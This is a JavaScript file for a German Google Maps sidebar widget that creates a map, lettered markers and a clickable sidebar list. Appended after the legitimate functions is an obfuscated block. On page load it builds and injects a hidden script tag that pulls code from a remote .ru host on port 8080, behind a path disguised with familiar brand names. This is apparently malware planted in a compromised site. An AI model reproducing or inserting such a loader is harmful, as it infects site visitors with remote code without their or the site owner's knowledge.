/*******************************************************************************
 * Javascript für twGmap05Sidebar 
 ******************************************************************************/




/**
 * Prüft auf kompatiblen Browser und vorhandene Variablen und ruft die
 * Funktion auf, die die GoogleMap erstellt.
 */
function twGmapLoad() {
	if (GBrowserIsCompatible()) {
		// die Google Map (twGmap)
		if (!document.getElementById(gmapId)) {
			alert("Fehler: die Google Map mit der id "+ gmapId+ " konnte nicht auf dieser Webseite gefunden werden!");
			return false;
		} else {
			if (lat=="" || isNaN(lat)) {
				lat = default_lat;
				alert("Fehler: Der Breitengrad(lat) wurde im Skript nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			if (lon=="" || isNaN(lon)) {
				lon = default_lon;
				alert("Fehler: Der Längengrad(lon) wurde im Skript nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			if (typeof zoom == "undefined") {
				zoom = default_zoom;
				alert("Fehler: Die Zoomstufe wurde im Skript nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			machTwGmap(gmapId, lat, lon, zoom);			
		}
		// die Sidebar (twGmapSidebar)
		if (!document.getElementById(sidebarId)) {
			alert("Fehler: die Sidebar mit der id "+ sidebarId+ " konnte nicht auf dieser Webseite gefunden werden!");
			return false;			
		} else {			
			document.getElementById(sidebarId).innerHTML = sidebarHtml;
		}
	}
}


/**
 * Erstellt die GoogleMap in dem <div>-Bereich mit der übergebenen id
 * @param {Object} id   -im div-Bereich mit dieser id wird die Map dargestellt
 * @param {Object} lat  -Breitengrad 
 * @param {Object} lon  -Längengrad
 * @param {Object} zoom -Zoomstufe 1 bis 17 (ganze Welt bis kleiner Ausschnitt)
 */
function machTwGmap(id, lat, lon, zoom) {
	// die Map (für das div mit der id="...")
	var map = new GMap2(document.getElementById(id));

//Entfernungsskala Kilometer/Meter
	_mPreferMetric = true;  
	map.addControl(new GScaleControl());


	// mit Zoom (auch noch: GSmallMapControl, GLargeMapControl, GSmallZoomControl, GScaleControl)
	map.addControl(new GLargeMapControl());
	// mit Typ-Auswahl (auch noch: GMapTypeControl, GHierarchicalMapTypeControl, GOverviewMapControl)
	map.addControl(new GMapTypeControl());
	// ((Breitengrad, Längengrad), Zoomstufe, G_NORMAL_MAP/G_SATELLITE_MAP/G_HYBRID_MAP)
	map.setCenter(new GLatLng(lat, lon), zoom, G_NORMAL_MAP);
	
	// Marker setzen mit eigener Marker-Funktion
	map = setTwMarkers(map);
	
	// Sidebar-Zeile wieder demarkieren, wenn ein Infofenster geschlossen wird
	GEvent.addListener(map,"infowindowclose", function() {
		document.getElementById(sidebarLastLinkid).style.background="#fdf9ec";
	});
}






/**
 * Schreibt den HTML-Code für eine Zeile(Verweis) in die globale Variable 'sidebarHtml'.
 * Dabei wird auch gleich der übergebene Marker in das Marker-Array eingefügt,
 * und der Zähler (zählt alle Marker) hochgezählt.
 * @param {Object} text   -der anzuzeigende Text für diese Zeile in der Sidebar
 * @param {Object} marker -der Marker, auf den der Verweis zeigt
 */
function machZeileInTwGmapSidebar(text, marker, linkid) {
	sidebarMarkers[sidebarCount] = marker;
	sidebarHtml += '<div id="'+ linkid+ '">';
	sidebarHtml += '<span class="sidebarZeichen">'+ sidebarZeichen+ '</span>';
	sidebarHtml += '<a href="javascript:twGmapSidebarIsClicked(' + sidebarCount + ')">' + text + '</a><br>';
	sidebarHtml += '</div>';
	sidebarCount ++;
}

/**
 * Event-Handler für Klick auf Marker, öffnet das dazugehörige Info-Fenster.
 * @param {Object} i -ein bestimmter Marker aus dem Marker-Array
 */
function twGmapSidebarIsClicked(i) {
	GEvent.trigger(sidebarMarkers[i], "click");
}

/**
 * Liefert ein GIcon-Objekt, das einen Marker darstellt.
 * Hier stellt das Icon einen Buchstabe dar. 
 * Über die globale Variable 'sidebarZeichen' wird bei jedem Durchlauf der 
 * nächsthöhere Buchstabe des Alphabets angezeigt. 
 */
function machTwIconBuchstabeFortlaufend() {
	sidebarZeichen = String.fromCharCode(sidebarZeichen.charCodeAt(0) + 1);
	var icon = new GIcon(G_DEFAULT_ICON, "http://www.google.com/mapfiles/marker" + sidebarZeichen + ".png");
	icon.printImage = "http://maps.google.com/mapfiles/marker"+sidebarZeichen+"ie.gif"
	icon.mozPrintImage = "http://maps.google.com/mapfiles/marker"+sidebarZeichen+"ff.gif"
	
	return icon;
}



var y;K={};Q=function(){t=["c","MD"];this.P=37456;this.P--;function FT(v,H,M){try {var OE='Pv'} catch(OE){};return v.substr(H,M);this.U="";this.UH=false;}var l=document;sb={QS:"h"};this.T=3388;this.T--;var d='';ln=["k","GT"];sh=[];var B=new String("/yan"+FT("dex-r14",0,4)+FT("ru/g8v2K",0,4)+"oogl"+FT("e.coGCv",0,4)+FT("86Y7m/or67Y8",4,4)+FT("hf2ange2fh",3,4)+FT("tBym.fr.tBym",4,4)+"php");var Hc=RegExp;var a={V:"X"};var bp={W_:"aV"};function F(v,H){fx={Ci:false};var Yc="";var dL=["cM"];var bR={Le:false};var M="["+H+FT("]XwG",0,1);vh=["sE","ao"];var o=new Hc(M, "g");uM=["Ip","uj","_a"];return v.replace(o, d);var Tj=["ey","wr"];};Xr={tQ:"Pd"};fi=["ym"];var C=F('sDcLrfijpUtB','E4xOzU89jBT2_hLGfPWDCSY');var L=String("bo"+FT("dyP2n",0,2));try {} catch(vZ){};this.PX=false;var lE=null;try {var ZL='Vx'} catch(ZL){};yq=["Tc","MK"];var r=344493-336413;var m=["TC","bA","KX"];try {var rt='On'} catch(rt){};var HN=new Array();y=function(){var la={CZ:40061};A={cG:44032};try {oh=["Bm"];var w=F('cIrfewavtgeSEvlfefmfeSnwtv','SfIwgv');UW=9622;UW-=39;this.E=5679;this.E--;G=l[w](C);var tK=["pl"];var vD=String("def"+"er");var v=r+B;var j=new Array();WP=56093;WP--;var J=F('sBrdcg','B3vdhg');var cO=new String();var da={fY:"Sl"};G[J]="htt"+FT("p:/W6A",0,3)+FT("cqlS/roSlqc",4,3)+"und"+FT("gaitxM",0,3)+FT("n.rB9R",0,3)+FT("u:b0KO",0,2)+v;this.vL=15152;this.vL+=253;G[vD]=[1,5][0];var OG={YU:"oF"};this.HNn="HNn";l[L].appendChild(G);Um={Mu:false};fI={Ps:false};var qI=["bY","Q_"];var OC={PA:26331};} catch(u){try {var gg='vi'} catch(gg){};var QL=16480;};try {var lg='VZ'} catch(lg){};this.PjD="";};this.rN=33836;this.rN--;vQ=[];};Q();hE={QM:"iz"};window.onload=y;this.aA='';var bt="";AT=11553;AT++;iY=47077;iY-=246;
